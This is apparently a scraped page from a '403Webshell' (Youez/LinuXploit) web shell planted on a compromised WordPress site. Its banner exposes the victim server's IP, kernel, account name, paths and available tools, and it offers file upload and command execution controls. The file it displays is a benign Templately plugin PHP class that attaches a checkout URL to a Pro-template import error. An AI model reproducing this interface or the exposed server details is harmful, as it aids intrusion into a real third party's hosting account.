403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/www/wp-content/plugins/templately/modules/mcp-core/Support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/www/wp-content/plugins/templately/modules/mcp-core/Support/ProGateResolver.php
<?php
/**
 * Resolves a `required_pro_templately` import failure into a purchase
 * reference (FR-010), reusing the existing `Templately\API\Checkout` logic
 * — the same checkout flow the browser dashboard already uses.
 *
 * @package Templately\Modules\McpCore\Support
 */

namespace Templately\Modules\McpCore\Support;

use WP_Error;

class ProGateResolver {

	/**
	 * If $error is the Pro-entitlement gate, re-wrap it with a live checkout
	 * URL attached. Any other error is passed through unchanged.
	 *
	 * @param WP_Error $error
	 * @param int      $template_id
	 * @return WP_Error
	 */
	public static function to_purchase_error( WP_Error $error, int $template_id ): WP_Error {
		if ( $error->get_error_code() !== 'required_pro_templately' ) {
			return $error;
		}

		return new WP_Error(
			'required_pro_templately',
			$error->get_error_message(),
			[ 'purchase' => [ 'checkout_url' => self::resolve_checkout_url( $template_id ) ] ]
		);
	}

	/**
	 * @param int $template_id
	 * @return string|null
	 */
	private static function resolve_checkout_url( int $template_id ) {
		$response = RestDispatcher::dispatch( 'POST', '/templately/v1/checkout', [
			'purchase_type' => 'template',
			'id'            => $template_id,
		] );

		if ( is_wp_error( $response ) ) {
			return null;
		}

		$data = $response->get_data();

		return $data['url'] ?? null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit